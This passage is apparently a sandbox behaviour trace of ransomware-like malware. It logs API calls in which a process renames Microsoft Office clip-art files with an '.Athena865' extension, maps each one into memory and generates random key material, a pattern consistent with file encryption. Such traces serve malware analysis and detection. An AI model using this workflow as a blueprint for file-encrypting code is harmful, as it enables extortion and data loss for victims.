dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.228] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9116) returned 1 [0139.228] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.228] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.228] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.229] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26a0, lpName=0x0) returned 0x154 [0139.230] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26a0) returned 0x100000 [0139.231] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.232] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.232] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.232] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0300912.WMF" | out: lpString1="J0300912.WMF") returned="J0300912.WMF" [0139.232] lstrlenW (lpString="J0300912.WMF") returned 12 [0139.232] lstrlenW (lpString="Athena865") returned 9 [0139.232] lstrcmpiW (lpString1="00912.WMF", lpString2="Athena865") returned -1 [0139.232] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.Athena865") returned 71 [0139.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf.athena865"), dwFlags=0x1) returned 1 [0139.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.234] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56060) returned 1 [0139.234] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.235] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.235] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.235] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde00, lpName=0x0) returned 0x154 [0139.236] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xde00) returned 0x100000 [0139.239] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.240] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.240] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.241] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0301050.WMF" | out: lpString1="J0301050.WMF") returned="J0301050.WMF" [0139.241] lstrlenW (lpString="J0301050.WMF") returned 12 [0139.241] lstrlenW (lpString="Athena865") returned 9 [0139.241] lstrcmpiW (lpString1="01050.WMF", lpString2="Athena865") returned -1 [0139.241] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.Athena865") returned 71 [0139.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf.athena865"), dwFlags=0x1) returned 1 [0139.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.243] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12248) returned 1 [0139.243] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.243] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.243] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.243] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32e0, lpName=0x0) returned 0x154 [0139.245] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32e0) returned 0x100000 [0139.246] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.247] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.247] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.247] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0301076.WMF" | out: lpString1="J0301076.WMF") returned="J0301076.WMF" [0139.248] lstrlenW (lpString="J0301076.WMF") returned 12 [0139.248] lstrlenW (lpString="Athena865") returned 9 [0139.248] lstrcmpiW (lpString1="01076.WMF", lpString2="Athena865") returned -1 [0139.248] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF.Athena865") returned 71 [0139.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf.athena865"), dwFlags=0x1) returned 1 [0139.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.249] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8782) returned 1 [0139.249] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.250] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.250] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.250] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2550, lpName=0x0) returned 0x154 [0139.251] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2550) returned 0x100000 [0139.252] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.253] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.253] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.254] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0301252.WMF" | out: lpString1="J0301252.WMF") returned="J0301252.WMF" [0139.254] lstrlenW (lpString="J0301252.WMF") returned 12 [0139.254] lstrlenW (lpString="Athena865") returned 9 [0139.254] lstrcmpiW (lpString1="01252.WMF", lpString2="Athena865") returned -1 [0139.254] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.Athena865") returned 71 [0139.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf.athena865"), dwFlags=0x1) returned 1 [0139.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.255] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38202) returned 1 [0139.255] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.256] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.256] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.256] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9840, lpName=0x0) returned 0x154 [0139.258] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9840) returned 0x100000 [0139.260] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.260] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.260] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.261] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0301480.WMF" | out: lpString1="J0301480.WMF") returned="J0301480.WMF" [0139.261] lstrlenW (lpString="J0301480.WMF") returned 12 [0139.261] lstrlenW (lpString="Athena865") returned 9 [0139.261] lstrcmpiW (lpString1="01480.WMF", lpString2="Athena865") returned -1 [0139.262] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.Athena865") returned 71 [0139.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf.athena865"), dwFlags=0x1) returned 1 [0139.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.264] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8000) returned 1 [0139.264] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.264] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.264] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.265] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2240, lpName=0x0) returned 0x154 [0139.266] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2240) returned 0x100000 [0139.267] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.267] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.267] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.268] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0302827.JPG" | out: lpString1="J0302827.JPG") returned="J0302827.JPG" [0139.268] lstrlenW (lpString="J0302827.JPG") returned 12 [0139.268] lstrlenW (lpString="Athena865") returned 9 [0139.268] lstrcmpiW (lpString1="02827.JPG", lpString2="Athena865") returned -1 [0139.268] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.Athena865") returned 71 [0139.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg.athena865"), dwFlags=0x1) returned 1 [0139.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.269] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23083) returned 1 [0139.270] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.270] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.270] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.271] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5d30, lpName=0x0) returned 0x154 [0139.272] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5d30) returned 0x100000 [0139.273] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.274] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.274] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.274] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0302953.JPG" | out: lpString1="J0302953.JPG") returned="J0302953.JPG" [0139.275] lstrlenW (lpString="J0302953.JPG") returned 12 [0139.275] lstrlenW (lpString="Athena865") returned 9 [0139.275] lstrcmpiW (lpString1="02953.JPG", lpString2="Athena865") returned -1 [0139.275] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.Athena865") returned 71 [0139.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg.athena865"), dwFlags=0x1) returned 1 [0139.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.276] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9665) returned 1 [0139.276] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.277] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.277] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.277] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28d0, lpName=0x0) returned 0x154 [0139.278] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28d0) returned 0x100000 [0139.280] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.280] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.280] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.281] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0304933.WMF" | out: lpString1="J0304933.WMF") returned="J0304933.WMF" [0139.281] lstrlenW (lpString="J0304933.WMF") returned 12 [0139.281] lstrlenW (lpString="Athena865") returned 9 [0139.281] lstrcmpiW (lpString1="04933.WMF", lpString2="Athena865") returned -1 [0139.281] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.Athena865") returned 71 [0139.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf.athena865"), dwFlags=0x1) returned 1 [0139.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.283] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19844) returned 1 [0139.283] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.283] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.283] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.284] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5090, lpName=0x0) returned 0x154 [0139.287] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5090) returned 0x100000 [0139.288] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.289] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.289] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.290] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0305257.WMF" | out: lpString1="J0305257.WMF") returned="J0305257.WMF" [0139.290] lstrlenW (lpString="J0305257.WMF") returned 12 [0139.290] lstrlenW (lpString="Athena865") returned 9 [0139.290] lstrcmpiW (lpString1="05257.WMF", lpString2="Athena865") returned -1 [0139.290] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.Athena865") returned 71 [0139.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf.athena865"), dwFlags=0x1) returned 1 [0139.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.292] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23280) returned 1 [0139.292] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.293] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.293] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.293] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5df0, lpName=0x0) returned 0x154 [0139.294] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5df0) returned 0x100000 [0139.296] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.296] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.296] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.297] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0305493.WMF" | out: lpString1="J0305493.WMF") returned="J0305493.WMF" [0139.297] lstrlenW (lpString="J0305493.WMF") returned 12 [0139.297] lstrlenW (lpString="Athena865") returned 9 [0139.297] lstrcmpiW (lpString1="05493.WMF", lpString2="Athena865") returned -1 [0139.297] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.Athena865") returned 71 [0139.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf.athena865"), dwFlags=0x1) returned 1 [0139.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.299] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13170) returned 1 [0139.299] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.299] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.299] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.300] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3680, lpName=0x0) returned 0x154 [0139.302] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3680) returned 0x100000 [0139.303] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.303] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.303] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.304] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0315447.JPG" | out: lpString1="J0315447.JPG") returned="J0315447.JPG" [0139.304] lstrlenW (lpString="J0315447.JPG") returned 12 [0139.304] lstrlenW (lpString="Athena865") returned 9 [0139.304] lstrcmpiW (lpString1="15447.JPG", lpString2="Athena865") returned -1 [0139.304] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.Athena865") returned 71 